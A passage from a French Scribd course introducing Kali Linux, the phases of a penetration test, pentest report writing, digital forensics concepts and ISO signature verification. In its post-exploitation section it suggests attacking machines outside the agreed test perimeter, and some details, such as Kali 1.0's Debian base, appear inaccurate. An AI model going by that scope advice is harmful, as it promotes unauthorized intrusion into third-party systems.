0% ont trouvé ce document utile (0 vote)
402 vues109 pages

Introduction à Kali Linux et pentesting

Ce document décrit Kali Linux, une distribution Linux utilisée pour les tests de pénétration et la recherche numérique légale. Il fournit de l'histoire sur Kali Linux et ses prédécesseurs, explique les différences entre Kali Linux et Debian, et définit ce qu'est un test de pénétration.

Transféré par

Chabane
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
402 vues109 pages

Introduction à Kali Linux et pentesting

Ce document décrit Kali Linux, une distribution Linux utilisée pour les tests de pénétration et la recherche numérique légale. Il fournit de l'histoire sur Kali Linux et ses prédécesseurs, explique les différences entre Kali Linux et Debian, et définit ce qu'est un test de pénétration.

Transféré par

Chabane
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd

Dans ce cours je vous propose de balayer les fonctionnalités d’un outil ayant

révolutionné la recherche numérique légale (aussi appelée forensic) qu’est Kali


Linux.
Nous commencerons par un peu d’histoire et de vocabulaire. Puis, nous étudierons les
différentes méthodes d’installation en décrivant à quoi elles se rapportent. Nous verrons
à cette occasion comment personnaliser la suite et comment préparer son laboratoire de
tests d’intrusions.

Dans un deuxième temps, nous étudierons les différents types d’attaque possibles et nous
verrons comment éprouver son réseau et ses équipements grâce à la suite Kali Linux.
Pour finir, nous évoquerons aussi l’aspect non connecté au travers d’exemples concernant
les réseaux sans fils, les objets connectés et les équipements disposant de processeur
ARM.

Un peu d’histoire sur Kali Linux


Kali Linux représente la plateforme de tests de pénétration la plus puissante et la
plus populaire au monde, utilisée par une grande majorité de professionnels de la
sécurité dans un large spectre de domaines incluant les tests de pénétrations,
certes, mais également l’informatique légale (aussi appelée forensic), l’ingénierie
inverse ou encore l’évaluation de la vulnérabilité d’un réseau ou d’une
infrastructure.
Kali Linux est l’aboutissement d’années d’affinage et le résultat d’une continuelle
évolution de la plateforme, depuis WHoppiX en passant par WHAX, puis Backtrack
Linux pour aboutir au logiciel Kali Linux. Cette suite n’a pas été construite pour n’être
qu’une simple collection d’outils, mais plutôt pour devenir un laboratoire ou un cadre
flexible que les testeurs professionnels de la pénétration, les gourous de la sécurité, les
étudiants mais aussi les amateurs peuvent le personnaliser en fonction de leurs besoins.
Le projet Kali Linux a commencé très tôt en 2012, lorsque l’officine de sécurité
offensive du projet a décidé de remplacer leur vénérable serveur BackTrack Linux, qui à
l’époque était encore administré manuellement, par un serveur à base de distribution
Linux Debian ouvrant la possibilité de gestion des techniques de packaging éprouvées sur
l’ensemble des infrastructures. La toute première version de ce projet s’est alors appuyée
sur la distribution Debian Jessie (Debian 8.0). On l’a baptisée Kali Linux 1.0. Durant les
deux ou trois années qui suivirent cette première release, la suite a suivi l’évolution du
noyau linux en supportant de nombreuses mise à jour.
Alors que Debian 8 s’apprête à sortir de son support officiel, une nouvelle mouture
baptisée Kali Linux 2.0 a vu le jour et a été publiée en Août 2015, en intégrant de nouvelles
extensions du shell Gnome. Dans le même temps, les développeurs ont porté leurs efforts
pour assurer que Kali Linux dispose en permanence de la dernière version de l’ensemble
des applications de pentesting.

REMARQUE : malheureusement, pour atteindre ce but, il n’était pas possible d’utiliser les
dépôts dits stable. Aussi, Kali Linux a dû s’adapter en utilisant les dépôts de tests appelés
Debian testing et devenir ainsi la première release Kali-rolling.
Du fait de son attachement à la distribution testing de Debian, la plateforme est
continuellement mise à jour. Les développeurs de Kali ont d’ailleurs ajouté une
notification continue et des mises à jour systématiques des outils de test de pénétration
existant au sein de Debian afin de créer une distribution Kali. Grâce à cette modification
notable, Kali Linux a évolué vers un modèle roulant. A ce stade, Kali 2016.1 a été la
première version utilisant ce nouveau modèle. A ce jour, la release en chargement
disponible sur le site [Link] est la Kali Linux 2019-4.
RAPPEL : comme on l’a déjà mentionné l’activité de pentesting (ou tests de pénétration)
ne se restreint pas à cette seule activité. Cela implique aussi la simulation d’attaques
réelles pour éprouver les risques associés concernant les failles de sécurité potentielles.
En effet, il ne faut pas confondre évaluation de la sécurité, où le testeur ne fait qu’évaluer
l’existence ou non de vulnérabilités qu’un attaquant pourrait exploiter, et pentest. Dans
ce dernier cas, le testeur doit également vérifier ce que l’attaquant pourrait gagner après
l’exploitation d’une faille.

ATTENTION : Dans le cadre de Kali Linux, on se place dans la peau d’un attaquant et de
ce fait, on doit établir exactement non seulement la liste des failles potentielles, mais
également les impacts que leur exploitation pourrait entraîner sur l’architecture d’un site
complet ou d’un ensemble d’équipements.

Différence entre Debian & Kali Linux


Comme nous l’avons mentionné précédemment, Kali Linux est une distribution
orientée tests d’intrusion et audits de sécurité. Nous avons vu ci-dessus ce que cela
recouvrait. Mais, qu’est-ce qui différencie la distribution standard Debian et Kali
Linux ?
En premier lieu, par conception (en anglais on dit by design), Kali Linux ne possède qu’un
seul utilisateur : root. En effet, en raison de sa nature concernant les audits de sécurité,
Kali Linux est conçu pour fonctionner en mode super-utilisateur, donc root.

Par ailleurs, les services réseaux sont également restreints (voire même inactifs). La
distribution Kali Linux contient ce que l’on appelle les "sysvinit hooks" fermant les
services réseaux par défaut. Ces fonctionnalités permettent également d’installer une
panoplie de services réseaux, tout en assurant que la distribution (et par voie de
conséquence, le système d’exploitation), reste malgré tout correctement sécurisée.
ATTENTION : les services tels que Bluetooth ou WiFi sont systématiquement inactivé
lors de la phase d’initialisation du système. Ce qui n’empêche pas de disposer d’une vaste
palette de support pour les appareils sans-fils. Notamment, avec la popularité et la
disponibilité des systèmes à base d’architecture ARM, Kali Linux a été conçu pour
supporter des systèmes ARMEL et/ou ARMHF.
Enfin, le noyau utilisé pour la distribution Kali Linux a été soigneusement étudié et
optimisé. On parle de noyau upstream. Il s’agit d’un noyau patché pour injection. Cela
signifie qu’il est ajusté et prêt à être utilisé pour de l’injection de paquets sans-fils. Il faut
se souvenir que la distribution Kali Linux n’est à utiliser que si l’on souhaite réaliser des
tests d’intrusion et/ou audits de sécurité. Mais, elle n’est pas conseillée pour des
personnes qui ne sont pas familières avec le système d’exploitation GNU/Linux.
La distribution Kali Linux contient, entre autres, plus de 300 outils de tests
d’intrusion, utilisant git Open Source pour promouvoir les évolutions de la plateforme et
du projet, qui reste disponible à tous. Chacun est donc libre de modifier et/ou refaire les
paquets selon sa propre utilisation. D'ailleurs, le développement de Kali Linux adhère au
modèle standard FHS (Filesystem Hierarchy Standard) permettant aux différents
utilisateurs de naviguer dans le système d’exploitation et d’y trouver rapidement les
bibliothèques, les exécutables ainsi que les fichiers de support.
On constatera également que chaque paquet de la distribution Kali Linux est signé via
GPG et ce, par chaque auteur, lorsqu'ils sont construits et livrés aux répertoires de
distribution.

Qu’est-ce qu’un test de pénétration ?


La méthode consiste généralement à analyser l’infrastructure d’un réseau
informatique pour simuler l’attaque d’un utilisateur mal intentionné ou d’un
logiciel malveillant (appelé malware). Le consultant, appelé un pentester, analyse
les risques potentiels liés à une mauvaise configuration du système d’information,
d’un défaut de configuration, de programmation informatique ou encore de
vulnérabilités liées à la solution testée.
Le test de pénétration entraîne alors l’évaluation de différents niveaux et différents
équipements. La tâche varie d’un environnement à l’autre, dépendant fortement de la
posture sécuritaire (ou non), mise en œuvre au niveau de l’infrastructure du site.

En se plaçant dans la peau d’un attaquant, on peut alors être amené à évaluer une ou
plusieurs applications web. On peut également réaliser de l’ingénierie sociale ainsi que
des attaques de clients pour récupérer l’accès à un réseau client interne. Il faut être clair,
un test de pénétration (aussi abrégé en pentest) nécessite d’agir comme si nous étions un
intrus. Il faut donc s’identifier, au choix à :

▪ un employé malintentionné
▪ un attaquant qui a déjà percé le périmètre de sécurité
REMARQUE : certaines firmes demandent même des tests de pénétration externes, dans
lesquelles on simule une attaque venant d’Internet. Mais, il s’agit de cas assez rares voire
exceptionnels. D’autres cherchent à évaluer la sécurité des réseaux sans-fils au sein de
leurs bureaux. On peut même être amené à auditer le contrôle physique d’accès à certains
sites. Cela peut se résumer par les étapes suivantes :
Lors du test d’intrusion, le pentester adopte ainsi la position de l’attaquant potentiel
(également appelé hacker). Le principal objectif étant de trouver les vulnérabilités
exploitables, en vue de proposer un plan d’actions permettant d’améliorer la sécurité du
système d’information et empêcher au maximum, les pirates informatiques de
compromettre les infrastructures internes d’une entreprise.

On distingue ainsi trois cas de figures d’analyse pouvant varier selon les attentes du client
ou de l’entreprise concernée:

▪ le testeur est dans la peau d’un attaquant potentiel sans information préalable
(blackbox test).
▪ le testeur possède un nombre limité d’informations : un compte, une clé… (greybox
test)
▪ le testeur possède toutes les informations dont il a besoin (whitebox test)
REMARQUE: les tests d’intrusion appelés red team ont pour objectif de simuler une
attaque du système d’information de la société sans limite de temps, ni de périmètre.
Ceux-ci se déroulent sur une période de temps plus longue (2 à 3 mois contre 1 à 2
semaines pour le pentest classique).
Ainsi, le test de pénétration commence donc avec une phase dite de pré-engagement qui
prévoie de discuter avec le futur client "attaqué", pour cerner l’objectif à atteindre par le
pentest et définir la portée du programme (extensions, environnement, paramètres du
test…etc). Lorsque le client et le testeur se sont mis d’accord sur la portée du test et des
différents sujets inhérents à celui-ci, le véritable test peut alors commencer.

ATTENTION : durant la phase de pré-engagement, il est très important de déterminer les


différents points ci-dessous :
▪ périmètre (adresses IP, équipements…)
▪ tranche horaire de tests
▪ information de contact
▪ vérification de l’autorisation d’accès
▪ mode de paiement/rémunération
Durant la phase dite d’information-gathering, le testeur recherche de l’information
publique à propos du client et identifie de potentielles méthodes de connexion à son
système. Le processus de recherche d’informations est connu sous
l’appellation Open Source INTelligence (abrégé en OSINT).
RAPPEL : il est interdit (et puni par la loi) d’attaquer ou de pénétrer des équipements
dont on n’a pas la charge. La loi du 5 janvier 1988 (dite Loi Godfrain) permet de lutter
contre la fraude informatique (c’est-à-dire le piratage ou l’atteinte aux systèmes
automatisés de données) en punissant ce type de fraude. Cela vise aussi bien les systèmes
(pour leur accès et leur maintien) que les données elles-mêmes (lorsqu’elles sont
supprimées ou altérées).
En effet, tout testeur ayant déjà pratiqué l’exercice du pentesting, sait qu’il est préférable
d’obtenir un consentement préalable quel que soit le cas de figure. D'autant que pour
réaliser un test de pénétration, il est nécessaire de communiquer avec le client ou
l’utilisateur final pour déterminer le périmètre et le contexte des vérifications à
effectuer. Sans accord préalable, l’article 323-1 et 421-1 du code pénal prévoit ce qui
suit:
En somme, lorsque l’on prévoit d’effectuer un test d’intrusion, il est raisonnable de
prévenir les équipes informatiques de l’entreprise visée. Par ailleurs, il vaut mieux que le
testeur appartienne à la société ciblée. Cela permet de simplifier l’imbroglio juridique que
pose la réalisation d’un pentest.

Durant cette même phase le pentester peut être amené à utiliser des outils tels que les
scanners de ports, afin d’avoir une idée des équipements fonctionnant, auxquels il a à faire
(aussi bien sur le réseau Internet que celui en interne). Nous aurons l’occasion de revenir
sur ce genre d’outil un peu plus loin.

Dans la phase threat-modeling, le testeur se base sur les informations récoltées


précédemment pour déterminer la valeur de chaque cible découverte et d’en identifier les
impacts éventuels afin de trouver une brèche d’accès au système cible. Cette phase
d’évaluation permet au testeur de développer un plan d’action et de découvrir les
méthodes d’attaque. Ici, on peut devoir utiliser des manipulations d’ingénierie sociale
pour réaliser une stratégie d’attaque efficace et pénétrer le système d’informations ciblé.
Avant que le testeur ne puisse attaquer le système cible, il lui incombe d’effectuer
une analyse des vulnérabilités. Il s’agit de la phase vulnerability analysis durant
laquelle, le testeur tente de découvrir les vulnérabilités des systèmes à attaquer afin d’en
tirer avantage durant la phase d’exploitation. A ce stade, le pentester commence à
découvrir les vulnérabilités afin de déterminer ce que sera sa stratégie d’exploits qui
pourront l’amener au succès de son entreprise. C’est durant cette phase que le testeur
peut utiliser des scanners de vulnérabilités, se basant sur des bases de données et des
tests avérés pour créer la meilleure liste de vulnérabilités présentes sur le système
analysé.
ATTENTION : les scanners de vulnérabilités sont des outils très puissants, mais ils ne
remplaceront jamais la pensée et l’imagination humaine. Il est donc conseillé de toujours
vérifier les résultats en les confrontant à des analyses manuelles et des tests sur ses
propres équipements. On reviendra ultérieurement sur ces scanners de vulnérabilités.
Durant la phase d’exploitation, le testeur exécute les exploits à l’encontre des
vulnérabilités précédemment découvertes, en utilisant dans certains cas, un outil tel que
Metasploit, permettant de tenter des accès au système client. Le succès de cette phase
entraîne automatiquement l’accès à la phase de post-exploitation où le résultat des
exploits accomplis s’accompagne d’informations additionnelles pour récupérer les
données critiques, les accès aux autres systèmes juxtaposés…etc.

C’est à ce stade, qu’il faut interpréter ce que signifie concrètement l’utilisation de ces
vulnérabilités pour le site visé. On va chercher à catégoriser les risques encourus pour
chacun des exploits réalisés à l’encontre des vulnérabilités découvertes : lorsque l’on
pénètre un système non mis à jour, mais qui ne fait partie d’aucun domaine ou d’aucun
réseau critique et ne contenant aucune information d’intérêt pour un attaquant, les
risques de vulnérabilités sont moindres que si l’on était capable de réaliser un exploit sur
un contrôleur de domaine ou un système de développement du client.

IMPORTANT : durant la phase post-exploitation, il faut récolter les informations à propos


des systèmes attaqués, chercher les fichiers d’intérêts vitaux, tenter d’élever les privilèges
lorsque c’est nécessaire… On peut d’ailleurs aller plus loin en cherchant à pénétrer des
machines non prévues dans le périmètre de l’attaque, afin de mettre en lumière la
faiblesse de la posture sécuritaire du client.
Finalement, durant la phase de reporting, le testeur résume l’ensemble des
éléments découverts, à la fois pour les exécutants et pour les techniciens. C’est à ce
stade que l’on communique les découvertes au client de façon claire et explicite. Il faut
notamment l’éclairer sur les procédures qu’il réalise correctement et sur celles qu’il doit
améliorer pour rendre sa sécurité plus efficiente et surtout comment corriger les failles
potentielles découvertes.

Rédiger un rapport de Pentesting


Le pentesting et l’écriture d’un rapport est un art qu’il faut maîtriser à la perfection.
On doit expliquer clairement à chacun depuis l’équipe IT, chargée de corriger les
vulnérabilités jusqu'aux dirigeants de l’entreprise en cause, ce que l’on a découvert
en ne mentionnant pas d’acronyme compréhensibles que par certains, mais en
détaillant les données privées que l’on a pu accéder ou modifier. Par exemple, il a été
possible de lire vos courriels résonne beaucoup plus aux oreilles de chacun que n’importe
quelle autre explication technique.
Le rapport global est un document (le plus souvent au format PDF non modifiable), rédigé
en anglais ou en français et mentionnant en filigrane le statut ‘Confidentiel’ puisque le
rapport contient des informations susceptibles de s’introduire dans le système
informatique de l’entreprise visée. De plus, un rapport cohérent doit inclure à la fois un
sommaire exécutif explicite, appelé rapport d’exécution, mais aussi un rapport technique
détaillé. Le rapport d’exécution doit contenir les rubriques suivantes :
▪ Background : description du but des tests et les définitions de tout terme non
explicite à un exploitant. Par exemple, définir les termes suivants : vulnérabilité et
contre-mesure.
▪ Posture globale : vue d’ensemble de l’efficacité des tests, les solutions trouvées (par
exemple, l’exploitation de la vulnérabilité Microsoft MS08-056) et les cas généraux
permettant l’exploitation de vulnérabilités (cas du manque de mise à jour ou de patch).
▪ Profil du risque : classification générale de la posture sécuritaire de l’organisation
en la comparant à des sites similaires en les mesurant avec des indicateurs explicites
du type ‘high’, ‘medium’, ‘low’. On peut introduire une description de la classification
en question.
REMARQUE : il peut être intéressant de résumer le nombre de failles trouvées dans un
format tabulaire de synthèse, de trier par sévérité, priorité et difficulté de correction. Par
exemple, on pourrait classer les lignes du document de la façon suivante :

▪ Découvertes générales : un descriptif général de ce que l’on a découvert avec des


statistiques et des métriques sur l’efficacité des contre-mesures déployées.
▪ Recommandations sommaires : vue de haut niveau des tâches requises pour
corriger les problèmes découverts durant ces tests.
▪ Plan stratégique : fournit au client les objectifs court et long termes pour renforcer
leur sécurité.
De même, le rapport technique, doit quant à lui contenir au minimum, les chapitres
suivants :

▪ Introduction : avec l’inventaire des détails tels que le périmètre du pentest, le(s)
contact(s)…
▪ Récolte d’information : détails des informations récupérées durant la phase
information-gathering. Il peut être intéressant ici, de mentionner l’empreinte Internet
du client.
▪ Évaluation de vulnérabilités : détails des découvertes durant la phase
vulnerability-analysis du test.
▪ Vérification vulnérabilité/exploitation : détails des découvertes durant la phase
d’exploitation du test.
▪ Post exploitation : détails des découvertes de la phase post-exploitation du test.
▪ Risques & dangers : une description détaillée des risques encourus. Cette section
doit mettre en lumière les pertes possibles en cas d’attaque avérée par une personne
malveillante.
▪ Conclusion : description globale des résultats du test.
Le rapport doit s’appuyer sur un audit de sécurité pouvant s’effectuer en plusieurs
phases, dont le test d’intrusion. Parmi les autres phases, on trouve généralement :

▪ la correspondance orale des membres du système d’information (noté SI), de la


direction (noté DSI) et du responsable Sécurité (noté RSSI) ainsi que des membres de
l’équipe technique.
▪ l’audit de configuration des services (ainsi que des serveurs, des composants réseau…)
▪ l’audit de code pour les applications utilisées, déployées ou développées en interne
par la firme.
Afin de réaliser ces différentes étapes, on doit s’appuyer sur des référentiels prévus pour
ce genre d’activité (audit sécurité) :

▪ ISO 27000 et ISO 27001


▪ Référentiel général de sécurité de l’ANSSI
▪ Le référentiel COBIT
▪ Normes type SOX
▪ Normes PCI-DSS
En termes de représentation, on peut facilement résumer le cycle des différentes phases
de pentesting d’un client (hors tests externes), décrites précédemment par le schéma ci-
dessous :

Pour plus d’information concernant les techniques de pentesting, on peut visiter


l’excellent site Penetration Testing Execution Standard (abrégé en PTES) à
l’adresse [Link].
IMPORTANT : s’il y a bien une chose à retenir c’est que le test d’intrusion est une partie
seulement de l’audit de sécurité qui est plus complet. Et, il est possible de formaliser le
PTES de la façon suivante :
Le mode forensic
La suite Kali Linux est souvent livrée sous forme d’image ISO que l’on peut utiliser en
mode "live-CD". Cela signifie donc qu’il est possible de ne mapper aucun disque ni aucun
montage physique sur la machine de tests, en sélectionnant l’option ‘mode forensic’ ci-
dessous, lors de la phase d’installation :

Ainsi, il est possible d’utiliser n’importe quel outil de la suite Kali Linux, sans
endommager un quelconque périphérique. Ce mode au format Live-CD s'utilise un
peu comme un outil de découverte d’une distribution Linux. Comme aucun
périphérique bloc n’est alors attaché au système d’exploitation, on peut facilement cloner
celui-ci à des fins d’analyse. On parle alors d’analyse informatique légale (à l’instar de la
médecine légale s’occupant de rechercher les causes de décès).
L’informatique légale (ou investigation numérique légale ou encore informatique
judiciaire) représente l’application de techniques et de protocoles d’investigations
numériques, respectant les procédures légales destinées à apporter des preuves (de
préférence numériques), à la demande d’une institution de type judiciaire, par réquisition,
ordonnance ou jugement.

Cela peut également se définir comme étant l’ensemble des connaissances et


méthodes, permettant de collecter, conserver et analyser des preuves issues de
supports numériques, en vue de les produire dans le cadre d’une action en justice.
Ce concept est donc construit sur le même modèle plus ancien de la médecine légale que
l’on traduit en anglais par l’expression computer forensics.
REMARQUE : l’investigation numérique peut être formulée sous divers vocables ou
expressions françaises, dont les sens ne sont pas toujours les mêmes. Les concepts
d’investigation informatique légale, d’expertise technico-légale d’ordinateurs,
d’inforensique et de criminalistique informatique sont proches de celui d’informatique
légale.
Par contre, les termes d’analyse post-mortem ou d’autopsie informatique ne désignent
alors qu’une partie de l’informatique légale, puisque l’autre partie concerne les
investigations sur des systèmes en cours de fonctionnement. L’investigation
numérique, est un terme adapté à l’anglais computer forensics. Il s’agit de l’utilisation
de techniques spécialisées dans la collecte, l’identification, la description, la sécurisation,
l’extraction, l’authentification, l’analyse, l’interprétation et l’explication de l’informatique
numérique. Tout un programme !
Ces techniques sont mises en œuvre lorsqu'une affaire comporte des questions
relatives à l’usage d’un ordinateur et/ou de tout autre support d’information, ainsi
qu’à l’examen et l’authentification de données au travers de techniques d’analyse du
fonctionnement des ordinateurs ou à la connaissance des structures de données. Ce type
d’investigation est donc une branche spécialisée de l’informatique requérant des
compétences dépassant celles nécessaires à la maintenance et à la sécurité informatique.
L’informatique numérique (ou digital information) représente les informations stockées
de manière numérique, pouvant être découpée entre information proprement dite (c’est-
à-dire constituant des données telles que texte, dessins, images, bases de données…) et
les informations relatives à ce genre d’information, que l’on appelle des métadonnées. Il
peut s’agir de nom de fichier, de nom de répertoire, de date et heure de création, de
modification ou d’édition dudit document, ou encore l’expéditeur d’un courrier
électronique. La connaissance de ces métadonnées peut être le moyen de la découverte
de l’information proprement dite. Réciproquement, ces mêmes métadonnées peuvent
constituer des preuves numériques, puisque l’on dispose de la datation d’un événement
ou de l’expéditeur d’un courrier électronique.
Lorsque l’on parle de preuve numérique (ou digital evidence en anglais), on envisage
toute information numérique pouvant être utilisée comme preuve dans une affaire de
type judiciaire. La collecte de l’information numérique peut, quant à elle, être issue de
l’exploitation de supports d’information, de l’enregistrement et de l’analyse de flux réseau
(informatiques, stockage, réseau, téléphoniques), ou de l’examen de copies numériques
(par copie d’images ou de fichiers).
ATTENTION : les copies d’écrans d’informations numériques ne sont pas comptabilisées
comme étant des preuves numériques au sens de la définition présente. Mais, elles
peuvent servir de point de départ lors de la recherche ultérieure de preuves numériques.
Maintenant, le support de données (appelée data carrier en anglais) représente le
dispositif permettant la transmission ou l’enregistrement de l’information numérique.
Cela intègre notamment :

▪ les disques durs,


▪ les disques amovibles
▪ les assistants personnels (aussi appelés PDA),
▪ les clés USB
▪ les tablettes graphiques,
▪ les téléphones GSM (avec leurs cartes SIM)
▪ les mémoires flash et cartes à puce
▪ les GPS
▪ les routeurs ou commutateurs
▪ les serveurs
Le rapport d’investigation (ou chain of evidence) décrit comment l’information
numérique originale a été préservée. Il fournit donc son empreinte digitale et décrit les
moyens logiciels et matériels utilisés, permettant le blocage en écriture contre la perte de
ces mêmes données. Pour cela il faut y décrire les opérations réalisées, ainsi que les
logiciels mis en œuvre, tout en exposant les éventuels incidents rencontrés (y compris les
modifications de l’information numérique analysée). On doit aussi y énoncer les preuves
réunies, en fournissant les numéros de série des supports d’information utilisés pour leur
enregistrement. Ce type de rapport est généralement considéré comme un rapport
judiciaire lorsqu'il est produit à la demande d’une institution judiciaire et s’il est aussi
associé à un rapport de garde.
L’empreinte digitale (ou hash value), mentionnée ci-dessus, représente une empreinte
numérique d’une information de même nature, produite par un algorithme
mathématique, appliqué à cette même information numérique. Cet algorithme est par
essence à sens unique, c’est-à-dire qu’il est impossible (ou du moins extrêmement
difficile), de changer l’information numérique sans en changer la valeur de l’empreinte.
En termes plus clairs, si l’empreinte numérique d’un fichier n’a pas changé, alors celui-ci
n’a pas été modifié et réciproquement.
REMARQUE : pour être certaine, l’empreinte numérique doit être calculée de deux
manières indépendantes (surtout pour les disques durs). On parle alors de valeur de
hachage.
Le rapport de garde (ou chain of custody) représente un procès-verbal établi lors de la
saisie ou lors de la réception d’une information numérique ainsi que de son support,
intégrant toute information sur :
▪ le détenteur antérieur (notion de propriétaire ou d’usager),
▪ les lieux (notion de site, localisation, n° de salle)
▪ les conditions d’acquisition (saisie, transmission),
▪ la nature du support d’information (description physique et n° de série)
▪ la description éventuelle de l’information numérique (métadonnées, structure de
données)
▪ la situation d’accès aux données (accessibles ou non)
▪ la présence de sceau (avec identification ou non)
▪ le libellé de l’étiquette d’accompagnement
▪ les dates d’ouverture et fermeture du support
▪ la mention des modifications éventuelles (suppression de mot de passe)
▪ l’état de restitution du support (scellé ou non, accessibilité aux données, étiquette)
▪ la photographie ou sa représentation
La copie image (ou forensic copy) est une copie bit à bit intégrale de l’information
numérique présente sur un support d’information, y compris les espaces non utilisés, non
alloués et les queues de clusters. Ce type d’opération est effectué à l’aide d’un logiciel
spécifique, dans le cadre d’une investigation numérique légale. Ce type de copie se doit
d’être pur et parfait, car il sert de point de départ à la recherche numérique.
REMARQUE : une copie est pure lorsque son empreinte numérique est identique à celle,
confirmée de l’information numérique dont elle est la copie. Elle est déclarée parfaite
lorsque cette information numérique originale n’a pas été modifiée par l’opération de
copie. D'où l’intérêt d’utiliser un mode live-CD déconnecté des sources physique
d’information.
Lorsqu'une copie n’est pas pure et/ou ni parfaite, on se doit de le mentionner dans le
rapport d’investigation en précisant les raisons de l’impureté et/ou de l’imperfection.
Dans le cadre d’une recherche d’éléments ou de traces peut conduire à la constitution
d’indices, de faisceaux d’indices voire de preuves. L’expert réalisant ce genre d’opération
se doit de rester neutre en respectant le fait que ces preuves peuvent être à charge ou à
décharge.

La démarche de collecte et d’exploitation d’informations numériques se fait en analysant


les média contenant de nombreuses informations produites et/ou échangées avec des
tiers. L’expert est chargé de retrouver les données, quand bien mêmes celles-ci auraient
été déformées ou effacées.

L’opération d’analyse forensic est constituée (au même titre que le test de pénétration),
d’étapes plus ou moins longues :
Les informations/traces recherchées peuvent être de différentes natures :

▪ images
▪ documents bureautiques
▪ adresses électroniques
▪ courriers électroniques ou SMS envoyés et/ou reçus
▪ sites internet visités
▪ mots de passe mémorisés
▪ cookies
▪ logiciels installés
▪ dates d’activité du PC (et créneaux horaires)
▪ numéros téléphoniques appelés ou reçus
Ensuite, la preuve apportée est un concept à sens unique : l’absence de preuve ne
représente pas la preuve d’une absence. Les éléments ont pu être déformés ou supprimés.
L’investigation numérique peut en effet déboucher sur le constat de l’absence des
informations recherchées. Mais, celles-ci peuvent toutefois avoir été présentes, dans le
passé, sur le support d’information analysé et avoir été recouvertes ensuite par d’autres.

Enfin, l’identité de l’auteur d’un événement informatique est parfois difficile à établir. Il
est alors nécessaire d’effectuer des recoupements, si possible en utilisant des indices
externes au média analysé. En effet, les indices découverts sur un poste de travail peuvent
avoir été produits par un tiers malveillant qui aurait pris son contrôle à l’insu du véritable
propriétaire.

REMARQUE : on dit alors que le poste de travail (ou l’équipement en question) a été
compromis. Il est assez difficile de prouver qu’un ordinateur n’a pas été compromis, car
un intrus avisé peut avoir effacé les traces de sa compromission.
Les informations mémorisée ou récupérées peuvent être difficilement compréhensibles
car elles peuvent avoir été chiffrées via leur support (disque dur, fichiers chiffrés)… La
cryptanalyse permet dans ce cas d’effectuer le déchiffrement. Mais, il existe certains
contextes où, même la cryptanalyse ne permet pas, à cause des algorithmes puissants de
chiffrement, de réaliser le déchiffrement. La suite Kali Linux présente ainsi de nombreux
outils. Il faut donc décider au préalable de son utilisation quelle voie on souhaite
emprunter, cela se traduisant le plus souvent par un mode d’installation personnalisé,
proposé par le menu Kali Linux :
▪ le test de pénétration ou d’intrusion
▪ la recherche forensic (généralement après un crash machine)
la réparation de données corrompues ou perdues
Les différents types d’installation de
Kali Linux
Dans ce second module nous allons nous intéresser à la façon d’installer la suite
Kali Linux en expliquant où télécharger le logiciel, comment s’assurer que l’image
récupérée n’est pas corrompue et comment générer sa propre image Kali Linux.
RAPPEL : la suite Kali Linux est récupérable sous quatre formes principales (sachant que
les architectures 32 bits ont tendance à disparaître au profit des architectures 64 bits) :
▪ une image ISO en 32bits ou 64bits
▪ une image VMware en 32bits ou 64bits
▪ une image VirtualBox en 32bits ou 64bits
▪ une image ARM
▪ Kali 2019.1
Pour ce qui est du téléchargement des images ARM, il faut commencer par s’assurer que
celle-ci est compatible avec le matériel sous-jacent, car en raison de la nature même de
l’architecture ARM il n’est pas possible d’avoir une image unique fonctionnant sur
l’ensemble des appareils. Il existe des images préconstruites pour les
appareils suivants :
▪ rk3306 mk/ss808
▪ Raspberry Pi
▪ ODROID-U2/X2
▪ MK802/MK802 II
▪ Samsung Chromebook
REMARQUE : l’image pour les architectures ARM est constituée d’un fichier image
compressé au format LZMA (c’est-à-dire un fichier .[Link]). Par contre, les images
VMware et VirtualBox sont téléchargeables depuis le site Offensive-Security.

La mémoire minimum à allouer à une machine virtuelle Kali Linux est de 1500Mio. Il est
fortement conseillé de ne pas allouer moins de 2048Mio. L’espace disque pour ce genre
de plateforme en Live-CD n’est pas utile, puisque l’on démarrera le système depuis une
clé USB ou un DVD. Sinon, on peut octroyer un espace de 20Gio minimum.
ATTENTION : si l’on utilise une image 32 bits, il faut impérativement activer l’option
PAE/NX sinon l’image Kali Linux ne démarrera pas tant que l’image variant du noyau
par défaut utilisé par Kali pour des processeurs i386 (à proprement appelé 686-pae), ne
sera pas compilé de façon à requérir une extension d’adresse physique (Physical
Address Extension ou PAE) supportée par la CPU.
Sur le site principal de chargement des images Kali Linux, il existe également une version
d’image légère : Kali Linux light. Cette dernière s’applique à une utilisation simple des
tests de pénétration afin de n’avoir que le strict minimum à installer. Mais, dans la mesure
où l’on souhaite pouvoir utiliser Kali Linux à la fois pour des tests d’intrusion et de
l’analyse numérique légale, il est conseillé de télécharger la version complète 64 bits du
logiciel. Il existe également des versions préparées de Kali Linux pour des
gestionnaires différents de Gnome : Xfce, Mate, Kde…

Installation de Kali Linux à partir d’une


image ISO
Avant de passer à l'utilisation, nous allons regarder de plus près l'installation de
Kali Linux à partir d'une image ISO dans ce chapitre.
Une fois que l’image idoine a été téléchargée, la première des choses à faire est de
s’assurer que l’on a également récupéré les deux fichiers SHA256SUMS et
[Link] attachés à l’image Kali Linux. Avant de vérifier le code du hachage de
l’image on doit être certain que le fichier SHA256SUMS est bien un fichier généré par Kali.
Afin de s’en assurer, le fichier d’image est signé par la clé officielle de Kali avec une
signature détachée dans le fichier [Link].

La clé officielle de la suite Kali peut être téléchargée de la façon suivante :


$ wget -q -O - [Link] | gpg --import

ou
$ gpg --keyserver hkp://[Link] --recv-key 7D8D0BF6

On peut alors vérifier que l’empreinte résultante correspond à celle décrite ci-dessous :
$ gpg --fingerprint 7D8D0BF6

pub rsa4096 2012-03-05 [SC] [expires: 2021-02-03]

44C6 513A 8E4F B3D3 0875 F758 ED44 4FF0 7D8D 0BF6

uid [ unknown] Kali Linux Repository devel@[Link]


sub rsa4096 2012-03-05 [E] [expires: 2021-02-03]
Une fois que l’on a téléchargé les deux fichiers SHA256SUMS et [Link], on
peut alors vérifier la signature comme suit :
$ gpg --verify [Link] SHA256SUMS

ATTENTION : si l’on n’obtient pas le message "Good signature" ou si l’identifiant de la clé


